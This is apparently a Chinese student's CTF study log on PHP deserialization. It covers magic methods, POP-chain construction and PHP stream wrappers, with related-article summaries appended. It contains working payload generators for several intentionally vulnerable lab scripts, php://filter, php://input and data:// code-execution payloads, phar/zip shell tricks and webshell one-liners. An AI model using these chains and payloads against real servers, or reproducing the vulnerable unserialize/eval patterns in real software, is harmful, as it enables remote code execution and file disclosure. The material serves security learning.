学习日志(四)【php反序列化魔术方法以及pop构造配实战】

PHP反序列化漏洞实战:从魔术方法到文件删除的完整攻击链分析 本文深入剖析了PHP反序列化漏洞的完整攻击链,重点演示了攻击者如何利用__destruct()等魔术方法,通过可控的序列化字符串触发文件删除等危险操作。文章通过实战靶场复现漏洞,并提供了从输入验证到代码审计的多层次防御方案,帮助开发者深刻理解漏洞原理并有效加固系统。 阅读详情

1. 任务

1.1.1.1.1.1. 知识部分:
  1. PHP文件上传
  2. PHP序列化和反序列化【POP链构造,phar反序列化,session反序列化问题,和字符串逃逸】
1.1.1.1.1.2. 题目部分:
1.1.1.1.1.3. 参考链接大佬

2. 知识点学习

2.1. php反序列化

https://blog.youkuaiyun.com/tryqaaa_/article/details/159172832?spm=1001.2014.3001.5502

这篇是我最详细的解释,这里只是一个回顾总结,以及新添一些新的 知识点

2.1.1. 补充一些生涩词汇,如果不理解,查看此处。。

2.1.1.1.1. 实例化

将类(Class)这个抽象模板转化为可以实际使用的具体对象(Object)的过程。

比如:

# 1. 先定义类
class Car:
    def __init__(self, brand):
        self.brand = brand

# 2. 实例化:创建两个具体的汽车对象
car1 = Car("比亚迪")
car2 = Car("特斯拉")

print(car1.brand)  # 输出:比亚迪
print(car2.brand)  # 输出:特斯拉

这里Car("比亚迪")就是实例化过程,car1和car2就是Car类的两个独立实例对象。

2.1.1.1.2. 序列化和反序列化

序列化

内存对象 → 可存储/传输格式【拆开】

反序列化

可存储/传输格式 → 内存对象【合上】

// 定义一个类
class User {
    public $name;
    public $age;
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

// 1. 序列化:对象 -> 字符串
$user = new User("Bob", 22);
$serialized_str = serialize($user);
echo $serialized_str; 
// 输出:O:4:"User":2:{s:4:"name";s:3:"Bob";s:3:"age";i:22;}

// 2. 反序列化:字符串 -> 对象
$new_user = unserialize($serialized_str);
echo $new_user->name; // 输出:Bob

小题外话:

  • __wakeup()在反序列化前使用
  • __destruct()在反序列化后使用
  • __destruct()实例化对象后使用
2.1.1.1.3. 对象分为三种

public,private,protected

  • 使用public修饰进行序列化后,变量$team的长度为4,正常输出。
  • 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
  • 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
  • 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
  • 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]

【"\x00"代表ASCII为0的值,即空字节】

2.1.1.1.4. 常见序列化标识
a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

其中,比较常见的感觉:

a数组 i整数 s字符串 o类,对象

b布尔值 d小数

2.1.2. 魔术方法

2.1.2.1. 什么是魔术方法?
  • 因为是在触发了某个事件之前或之后,魔法函数会自动调用执行
  • PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
2.1.2.2. 常见的魔术方法【含思维导图】

方法名

作用

__construct

构造函数,在创建对象时候初始化对象,一般用于对变量赋初值【实例化的时候】

__destruct

析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用【实例化结束之后】

__toString

当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法

__wakeup()

使用unserialize时触发,反序列化恢复对象之前调用该方法

__sleep()

使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)

__destruct()

对象被销毁时触发

__call()

在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法

__callStatic()

在静态上下文中调用不可访问的方法时触发

__get()

读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)

__set()

在给不可访问属性赋值时,即在调用私有属性的时候会自动执行

__isset()

当对不可访问属性调用isset()或empty()时触发

__unset()

当对不可访问属性调用unset()时触发

__invoke()

当脚本尝试将对象调用为函数时触发

2.1.3. php反序列化漏洞(对象注入)

如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

https://www.cnblogs.com/bmjoker/p/13742666.html这里面有三个注入的示例

2.1.3.1.1. 例一:
<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>

最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。

当unserialize实行时,会自动执行__destruct()的内容

wp:test=cat flag;就是使用post方式post=你想要执行的命令即可

2.1.3.1.2. 例二:
<?php 
$txt = $_GET["txt"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ 
    echo "hello friend!<br>"; 
    if(preg_match("/flag/",$file))
    { 
       echo "不能现在就给你flag哦"; 
       exit(); 
    }
    else
    { 
       include($file); 
       $password = unserialize($password); 
       echo $password; 
    } 
}
else
{ 
       echo "you are not the number of bugku ! "; 
} 
?>
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}  
?>

出现了三个变量,但是还是比较容易看的,

一个一个条件去满足,因为已经看到include($file); $password = unserialize($password);

并且在index.php用echo,将对象当作字符串,可以触发执行to_string()

2.1.3.1.2.1. 第一个变量txt
$txt = $_GET["txt"]; 
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))

第一个要符合条件,

【错误的解答:?txt=welcome to the bugkuctf】

直接传字符串不行,因为file_get_contents第一个参数要求是文件名/资源路径,它会把你传入的字符串当成文件名去打开,而不是把它直接当成内容读取,所以会报错或者读不到正确结果。

正解:(要使用php伪协议)【小本本记下来,要去回顾php伪协议了】

https://www.leavesongs.com/PENETRATION/php-filter-magic.html这个提了Php伪协议,没看懂

有好多种协议编码方式

  1. ?txt=data://text/plain,welcome to the bugkuctf
  2. ?txt=data://text/plain;base64,d2VsY29tZSB0byB0aGUgYnVna3VjdGY=(Base64编码形式)
  3. ?txt=./文件名.txt(文件中含有这句话)
  • GET参数传入:?txt=php://input
  • 在POST请求Body中写入:welcome to the bugkuctf
    即可让file_get_contents读取到正确的内容。
2.1.3.1.2.2. 第二三个变量

2.1.3.1.3. 例三
<?php
class test{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("flag.php","w");
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>            
2.1.3.1.3.1. 代码审计
<?php
class test{
    // 公有属性
    var $test = '123';
    // 反序列化触发的魔术方法
    function __wakeup(){
        // 以写模式打开flag.php,不存在则创建,存在则覆盖原有内容
        $fp = fopen("flag.php","w");
        // 将当前对象的$test属性写入到flag.php
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
// 直接获取用户可控输入,无任何过滤
$a = $_GET['id'];
// 直接反序列化用户输入
$a_unser = unserialize($a);
// 最终包含并执行写入后的flag.php
require "flag.php";
?>

如上代码主要通过调用魔术方法__wakeup将$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,

有可以直接生成的工具?https://www.jyshare.com/compile/1/【直接在php环境里面运行】

2.1.4. pop链

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。

2.1.4.1. 用的上的一些方法
2.1.4.1.1. PHP最常见的危险函数
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
- 代码执行:eval()、assert()、call_user_func()
2.1.4.1.1.1. 命令执行类

函数

核心作用

安全风险

system()

执行外部系统命令,并直接输出结果

直接返回命令执行结果,最常用于一句话后门(?cmd=whoami)

exec()

执行外部系统命令,仅返回最后一行结果,完整结果存在第二个参数

需要通过输出参数获取全部结果,也常被用来执行系统命令

passthru()

执行外部系统命令,将结果直接输出到浏览器,保留原生格式

和system类似,适合二进制命令输出,CTF中非常常见

popen()

打开进程文件指针,执行命令后返回文件句柄,需要配合fgets读取结果

属于PHP: 启动外部程序

扩展函数,常出现在代码审计题中,可用于绕过disable_functions限制


2.1.4.1.1.2. 文件操作类

函数

核心作用

安全风险

file_put_contents()

将字符串写入文件

如果用户可控写入内容,可以直接写入一句话木马,实现GetShell

file_get_contents()

将整个文件读入字符串

1. 配合PHP伪协议读取任意文件源代码;

2. 可被用来绕过WAF;

3. 配合php://input读取POST请求内容写入后门

unlink()

删除文件

如果用户可控文件名,可删除任意服务器文件,配合竞争条件漏洞可删除哈希验证文件,绕过权限


2.1.4.1.1.3. 代码执行类

函数

核心作用

安全风险

eval()

把传入的字符串当作PHP代码执行

最经典的一句话后门函数:

eval($_POST['cmd']),

直接执行任意PHP代码,危害极高

assert()

判断断言是否成立,参数如果是字符串,会被当作PHP代码执行

PHP低版本中作用和eval几乎一致,是eval常见的替代品,常用于绕过WAF

call_user_func()

调用回调函数处理参数,第一个参数是可调用函数名,第二个是参数

攻击者可以控制回调函数为任意危险函数,以此实现代码/命令执行,比如call_user_func('eval','phpinfo();')

2.1.4.1.2. php伪协议
  1. file://:访问本地文件系统,读取服务器本地文件,

不受allow_url_fopen/allow_url_include影响。
用法:?file=file:///var/www/html/flag.php,需要传入文件的绝对路径。

  1. php://filter:元封装器,用于读取文件源码时做编码转换,不受配置限制,双off也能用,CTF中最常见。
    经典读取源码payload:
?file=php://filter/read=convert.base64-encode/resource=index.php

把目标文件源码base64编码后输出,直接拿到源码避免PHP解析执行。

  1. php://input:读取POST请求的原始数据,配合文件包含可以直接执行POST中传入的PHP代码。
    用法:GET传参?file=php://input,然后在POST body写入<?php system('ls');?>即可执行代码,要求allow_url_include=On。
  2. data://:直接将数据嵌入URL,可直接执行PHP代码,要求allow_url_include=On,PHP >= 5.2.0支持。
    两种用法:
// 明文直接写
?file=data://text/plain,<?php%20system('ls');?>
// base64编码绕过过滤
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz4=
  1. phar://:访问PHP归档(PHAR)文件,核心用途是配合文件上传实现反序列化漏洞,对后缀无要求,PHP >= 5.3.0支持。
    用法:?file=phar:///var/www/html/shell.jpg/shell,jpg后缀的压缩包也可以解析,用于绕过上传检测。
  2. zip://:访问ZIP压缩包内文件,需要用#分隔压缩包路径和内部文件路径,PHP >= 5.2.0支持。
    用法:?file=zip://./shell.jpg#shell.php
  3. compress.zlib:///compress.bzip2://:分别访问zlib/bzip2压缩的文件,无需解压直接读取内部内容。
2.1.4.1.3. 大写S支持字符串的编码
2.1.4.1.4. 深浅拷贝

就是复制,

浅拷贝是“表面”,共用同一个地址,修改一个另一个也变$a=&$b;

深拷贝,二者独立,要用__clone()

2.1.4.2. pop链的一些例子,实操中
2.1.4.2.1. 例子一
<?php
class main {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
      //在创建main对象时,自动实例化一个normal类的对象,并把这个对象赋值给当前类的$ClassObj属性
    }

    function __destruct() {
        $this->ClassObj->action();
      //调用$ClassObj属性保存的对象的action()方法
    }
}

class normal {
    function action() {
        echo "hello bmjoker";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>

当用户构造一个序列化字符串,让$ClassObj属性实例化为evil对象而不是normal对象时:

  1. 反序列化完成后,main对象销毁时自动执行__destruct()
  2. __destruct()调用$ClassObj->action(),实际调用的就是evil类的action()
  3. evil类的action()执行eval($data),用户可控$data就实现了任意代码执行。

2.1.4.2.1.1. 问题点在于?

__contruct()的结果是normal,而不是evil,我要怎么去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的。

2.1.4.2.1.2. 然后我们可以开始编写pop链,脚本

https://www.jyshare.com/compile/1/

只是需要把需要改动的部分再先写出来,像normal啥的就可以不动,不写上去

同时注意$a = new main();echo serialize($a);记得输出以及新建对象

注意

在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。【原序列化字符串中的"、{、}等符号,直接放在URL参数里会被浏览器截断或解析错误,编码后会变成%22、%7B、%7D这类安全字符。】

可以直接将刚刚结果搞到其他网站上去,编码,

也可以在代码处修改,urlencode()

2.1.4.2.2. 例子二
<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
      //PHP的文件读取函数,会读取指定路径文件的全部内容,以字符串返回
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False)
          //stristr()是PHP的字符串查找函数
            $this->name = "/etc/hostname";
          //如果文件名包含flag,就强行把$name修改为Linux系统的/etc/hostname文件(存放主机名的系统文件),
          //这是一个WAF性质的过滤,不允许直接读取flag文件。
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
          //isset()用来判断URL的GET参数中是否存在user参数。
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input']; //输入口
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

2.1.4.2.2.1. 问题在于

关键在于如果能控制变量$name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user,并且传入的$user还不能包含 "user" 子符串。【本人没有注意到echo与to_string的关系】

读取的是$name的文件,但是输入口是input和user,无法直接控制name的值,所以此处使用了浅拷贝,通过对user值的改变,来改变name的值

input不可以出现user,则可以通过大小写绕过,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过【input相当于是对a的输入进行检测】

2.1.4.2.2.2. 构造pop链了

<?php
class MyFile {
    public $name = '/etc/hosts';
    public $user = '';
}

$a = new MyFile();
$a->name = &$a->user;
//新建对象和浅拷贝

$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
//取代字母大小写,序列化进行验证

var_dump($b);
?>

在url处输入结果?input=

D://1.txt,指向D盘根目录下名为1.txt的文本文件,要找flag,则去flag相对应位置文件上,改后面即可

2.1.4.2.3. 例子三
<?php
class start_gg
{
    public $mod1;
    public $mod2;
//声明两个公有属性$mod1和$mod2,可被外部访问赋值。

    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
  //__call是PHP魔术方法:当调用不存在/不可访问的方法时自动触发,
  //这里参数$test2就是调用的不存在的方法名,$arr是调用参数数组
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
  //__invoke是PHP魔术方法:当把对象当做函数执行时自动触发,承接上一步$s1()的调用
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:xxxxxxxxxxxx";
    }
}
$a = $_GET['string'];
unserialize($a);
?>

最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。

2.1.4.2.3.1. 问题在于:

他十分的绕,用了很多的魔术方法。。

然后就得一步一步来,

  1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
$this->str1 = new GetFlag()
  1. 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。
$this->mod1 = new string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()

【这里本人出现一个误区,就是以为是在echo处才触发了这个string,没想到是在字符拼接的时候触发的这个_to-string ()】

  1. 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
$this->mod1 = new func()   
  //将func类作为函数调用就会触发魔术方法__invoke()
  1. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
$this->mod1= new funct()	
  //因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()
  1. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里
$this->mod1= new Call()
2.1.4.2.3.2. pop链的构造

这道题因为都是在构造一个new对象,就是在各类里头新增对象constuct

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();  //把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();  //把 $mod1赋值为funct类对象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();  //把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();  //把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {    
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1= new GetFlag();  //把 $str1赋值为GetFlag类对象      
    }
    public function __toString()
    {    
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:"."xxxxxxxxxxxx";
    }
}
$b = new start_gg;  //构造start_gg类对象$b
echo urlencode(serialize($b));  //显示输出url编码后的序列化对象

结果如下面所示

2.1.4.2.4. 例子四
<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

先大概浏览了一下这个代码,迅速找到了这个include()危险函数,可以在此处进行代码审计

2.1.4.2.4.1. 问题在于

触发append——》__invoke()——》__get($key)——》 __toString()——》__construct()

【这个链条要练到可以独自看出来,要调用get()的时候,注意到tostring的函数内容$this->str->source有误】

  1. Modifier类中append方法被__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()。

最后在Test类的构造函数看到了$this->p,这里可以直接通过反序列化控制属性p的值,然后通过调用魔术方法__get()来return一个p(),类被当作函数调用就可以触发魔术方法__invoke(),需要把p赋值为Modifier类的对象,$this->var可以传入想要包含的文件。

$this->p = new Modifier()
  1. Test类中的魔术方法__get()是在读取不可访问属性的值时会被调用,发现Show类中的魔术方法__toString()访问了str的source属性,如果str是Test类的对象,则不存在source属性,Test类的__get()魔术方法就会被调用。
$this->str = new Test()
  1. Show类中的魔术方法__toString()是当一个对象被当作一个字符串被调用。发现Show类的构造方法__construct()使用echo输出字符串,如果$this->source指向一个对象,就会调用__toString()方法。
$a = new Show();
$this->source = $a;

最终的调用链如下:

include <-- Modifier::__invoke() <-- Test::__get() <-- Show::__toString()
2.1.4.2.4.2. pop链构造

注意,在写payload的时候,

<?php ?>

construct的出现,有新建的对象,

<?php
class Modifier {
    protected  $var = "D://1.txt";
    }
 
class Show{
    public $source;
    public $str;
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
 
$a = new Show();
$a->source = $a;
$a->str = new Test();
echo urlencode(serialize($a));
?>

结果如下图所示:

3. 总结

3.1.1.1.1.1. 下周新任务
  • php伪协议要去回顾(iscc也考了)
  • php实际才学到php反序列化,下周从Seesion继续开始学,
3.1.1.1.1.2. 学了个啥知识呢?

之前第一遍学习这个pop链,实际一直没有太明白,这次通过这三道反序列化的题目,知晓之前推反序列化简直就是乱来,,,学会了一丢丢写payload的感觉,下周将实操试试

PHP反序列化漏洞深度解析:从魔术方法到POP链攻击与防御 序列化与反序列化是数据持久化和网络传输中的基础技术,其核心原理是将复杂数据结构转换为可存储或传输的字符串格式,并在需要时重建为原始对象。这一机制在PHP等语言中通过serialize()和unserialize()函数实现,极大提升了开发效率。然而,当不可信数据参与反序列化过程时,其技术价值可能转变为严重的安全风险。攻击者通过精心构造的序列化字符串,可以控制对象属性,进而触发类中自动执行的魔术方法(如__wakeup()、__destruct()),最终可能导致远程代码执行(RCE)。这种漏洞常出现在会话处 阅读详情

相关推荐

PHP反序列化漏洞实战:从POP链构造到Polar靶场利用

反序列化漏洞是Web安全领域的常见高危漏洞,其核心原理在于将序列化的数据还原为对象时,可能触发对象中的特定方法。PHP中的魔术方法如__destruct()、__wakeup()和__toString()会在对象生命周期中自动执行,成为漏洞利用的关键跳板。通过精心控制对象属性,攻击者可以构造一条从反序列化入口到危险操作的执行链,即POP链,最终实现远程代码执行或敏感文件读取。在实战场景中,例如CTF竞赛或渗透测试,理解目标应用的类结构和框架逻辑至关重要。本文以Polar靶场为例,详细解析了如何通过代码审计定

weixin_30345577的博客 372

PHP反序列化漏洞原理与实战:从魔术方法到POP链攻击

序列化是将对象状态转换为可存储字符串的过程,反序列化则是其逆向操作,用于数据持久化和网络传输。在PHP中,这一机制通过serialize()和unserialize()函数实现,其核心原理是将对象属性及结构编码为特定格式的字符串。当不可信数据被直接反序列化时,若类中定义了__wakeup()、__destruct()等魔术方法,这些方法会在对象还原或销毁时自动执行,若其内部操作依赖可控属性,则可能引发高危安全风险。这种漏洞在Web攻防中极具破坏性,常被用于实现任意文件删除、命令执行等攻击。通过构造POP链,

weixin_42533120的博客 267

PHP反序列化漏洞:从魔术方法到POP链的Web安全攻防实战

序列化与反序列化是编程中常见的数据持久化与传输机制,其核心原理是将对象状态转换为可存储或传输的字符串格式,并在需要时还原。在PHP中,这一过程通过serialize()和unserialize()函数实现。然而,当unserialize()处理用户可控的输入时,如果缺乏严格校验,便会触发严重的安全风险——PHP反序列化漏洞。该漏洞的技术价值在于其高危害性,攻击者可利用此漏洞执行任意代码、读取敏感文件,甚至获取服务器控制权,常被用于getshell等攻击场景。其典型应用场景广泛存在于缓存数据处理、用户会话管理

dieqiao8331的博客 313

PHP反序列化漏洞深度解析:从魔术方法到POP链利用与防御

序列化与反序列化是数据持久化和网络传输中的基础技术,其核心原理是将复杂数据结构转换为可存储或传输的字符串格式,并在需要时重建。在PHP中,这一机制通过serialize()和unserialize()函数实现,为应用带来了便利,但也引入了严重的安全风险。其技术价值在于高效处理对象状态,但安全漏洞常源于对不可信数据的反序列化操作。在Web安全领域,攻击者通过精心构造的序列化字符串,利用PHP魔术方法(如__wakeup()和__destruct())的自动执行特性,可触发非预期的代码执行,形成反序列化漏洞。结

weixin_30673611的博客 545

PHP反序列化漏洞与POP链构造:从原理到实战攻防

序列化与反序列化是编程中常见的数据持久化与传输机制,其核心原理是将对象状态转换为可存储或传输的字符串格式,并在需要时重建对象。然而,在PHP等动态语言中,这一机制若设计不当,可能引发严重的安全风险。攻击者通过精心构造恶意序列化数据,可触发对象生命周期中的魔术方法(如__wakeup、__destruct、__toString等),形成一条从反序列化入口到危险函数(如eval、system)的调用链,即POP链。这种漏洞在CTF竞赛和真实Web应用审计中频繁出现,因其隐蔽性强、危害性高,常被用于远程代码执行、

weixin_30336061的博客 349

PHP反序列化漏洞实战:从__wakeup魔术方法到Webshell注入

序列化与反序列化是编程中常见的数据持久化与传输机制,其核心原理是将对象状态转换为可存储或传输的字符串格式,并在需要时重建对象。这一机制在PHP、Java等语言中广泛应用,但若对用户输入未加严格校验,反序列化过程可能成为严重安全漏洞的入口。攻击者通过构造恶意序列化字符串,可触发对象重建时自动执行的魔术方法(如__wakeup、__destruct),进而执行任意代码或文件操作,最终实现远程命令执行或Webshell植入,危害极大。本文以PHP反序列化漏洞为例,深入剖析__wakeup魔术方法在漏洞利用中的关键

weixin_30598225的博客 487

PHP反序列化漏洞:从POP链构造到内存马植入的攻防解析

PHP反序列化漏洞是一种基于对象序列化与反序列化机制的安全缺陷,其核心原理在于攻击者通过精心构造的序列化数据,利用PHP魔术方法(如__destruct、__wakeup等)的自动调用特性,形成一条从可控入口到危险函数调用的调用链,即POP链。这种技术价值在于它能够绕过传统的文件上传检测,实现无文件攻击,隐蔽性极强。在应用场景上,它常被用于CTF竞赛、渗透测试和高级持续威胁攻击中,最终可收敛到内存马植入技术,实现持久化控制。本文结合PHP反序列化漏洞和内存马技术,深入剖析了POP链的构造方法与利用技巧,为安

weixin_30420305的博客 356

PHP反序列化漏洞深度解析:从魔术方法到POP链与Phar利用

序列化与反序列化是数据持久化和网络传输中的基础技术,其核心原理是将数据结构或对象状态转换为可存储或传输的字符串格式,并在需要时还原。在PHP中,这一过程通过serialize()和unserialize()函数实现,但若处理不当,会引入严重安全风险。当用户可控的数据被直接反序列化时,可能触发对象中的魔术方法自动执行,若其中包含危险操作,则形成安全漏洞。其技术价值在于理解数据流控制与对象生命周期管理的交互,是Web安全审计与代码防御的关键环节。典型的应用场景包括用户输入处理、缓存机制、会话管理以及第三方数据交

weixin_34168880的博客 370

PHP反序列化漏洞原理与实战:从Pikachu靶场到POP链构造

反序列化是一种将序列化数据恢复为对象的过程,广泛应用于数据存储和网络传输。其核心原理在于程序在还原对象时,若未对输入数据进行充分验证,攻击者可通过精心构造的序列化字符串,在对象重建过程中触发危险操作。这一技术漏洞在Java、PHP、Python等语言中尤为突出,因其常与面向对象特性深度结合,具有极高的安全风险。在Web安全领域,反序列化漏洞是代码审计和渗透测试的重点,常被用于实现远程代码执行。本文以经典的Pikachu靶场为实验环境,深入解析PHP中`unserialize()`函数的安全缺陷,并详细演示如

weixin_34032621的博客 562

PHP反序列化漏洞深度解析:从魔术方法到POP链实战

序列化是将对象状态转换为可存储或传输格式的过程,其核心原理在于创建一份独立的数据描述文件,记录数据类型、类结构和属性详情。反序列化则是根据这份数据描述重建对象的过程,这一机制在PHP中会触发特定的魔术方法,如__wakeup()和__destruct(),从而为对象生命周期提供钩子。从安全角度看,若魔术方法中包含危险操作且输入可控,攻击者便能通过精心构造的序列化字符串劫持程序流,执行任意代码或文件操作,这便是反序列化漏洞的技术根源。该漏洞在Web安全领域危害显著,常出现在用户输入直接传递给unseriali

weixin_34130389的博客 324

PHP反序列化漏洞深度剖析:从POP链构造到框架安全实战

反序列化是编程中常见的数据还原操作,其核心原理在于将序列化的字符串恢复为原始对象,并可能自动触发对象的魔术方法。这一机制在带来便利的同时,也引入了严重的安全风险,攻击者通过构造恶意的序列化数据,可以控制对象属性并触发非预期的代码执行路径,形成Property-Oriented Programming(POP)攻击链。其技术价值在于揭示了依赖信任边界和对象生命周期管理的深层次安全问题。在PHP开发中,该问题尤为突出,常被应用于框架安全审计和渗透测试,以发现从反序列化入口到实现任意文件读取或远程代码执行的完整利

weixin_30258901的博客 340

PHP反序列化漏洞实战:从Typecho 1.0案例学习代码审计与POP链构造

反序列化是一种将序列化后的数据恢复为原始数据结构的过程,在PHP中通过unserialize()函数实现。其原理在于反序列化时会自动调用对象的魔术方法,如__wakeup()或__destruct(),若攻击者能控制输入数据,便可构造恶意对象触发危险操作。这项技术的核心价值在于揭示了程序逻辑与数据边界的安全隐患,是代码审计的关键环节。在Web安全领域,反序列化漏洞常出现在数据处理、配置存储等场景,例如内容管理系统、框架组件中。本文以Typecho 1.0版本为例,深入解析其反序列化漏洞的触发机制与利用链构造

civtsbiqr522632413的博客 426

PHP反序列化漏洞深度解析:从原理到POP链实战攻防

序列化与反序列化是数据持久化和网络传输中的基础技术,其核心原理是将复杂数据结构转换为可存储或传输的线性格式(如字符串),并在需要时还原。这一机制在PHP中通过serialize()和unserialize()函数实现,广泛应用于会话管理、缓存和远程调用等场景。然而,当用户可控的输入被直接传递给unserialize()时,便构成了严重的安全风险。攻击者通过精心构造的序列化字符串,可以覆盖对象属性并触发PHP魔术方法(如__destruct()、__wakeup())中的危险逻辑,实现从属性覆盖到任意代码执行

weixin_34043301的博客 367

PHP反序列化漏洞实战:从魔术方法到文件包含与协议利用

PHP反序列化漏洞是Web安全领域的重要议题,其核心原理在于unserialize()函数在重建对象时,会触发类中定义的魔术方法(如__destruct、__wakeup)。攻击者通过精心构造的序列化字符串控制对象属性,从而影响这些方法的执行流程,最终可能实现任意代码执行。该技术的核心价值在于其利用链(POP链)的构造,能够将看似无害的属性操作串联成具有危害性的攻击路径。典型的应用场景包括CTF竞赛、渗透测试中对存在反序列化入口的Web应用进行漏洞利用。本文将聚焦于反序列化漏洞与文件包含(LFI)漏洞的结合
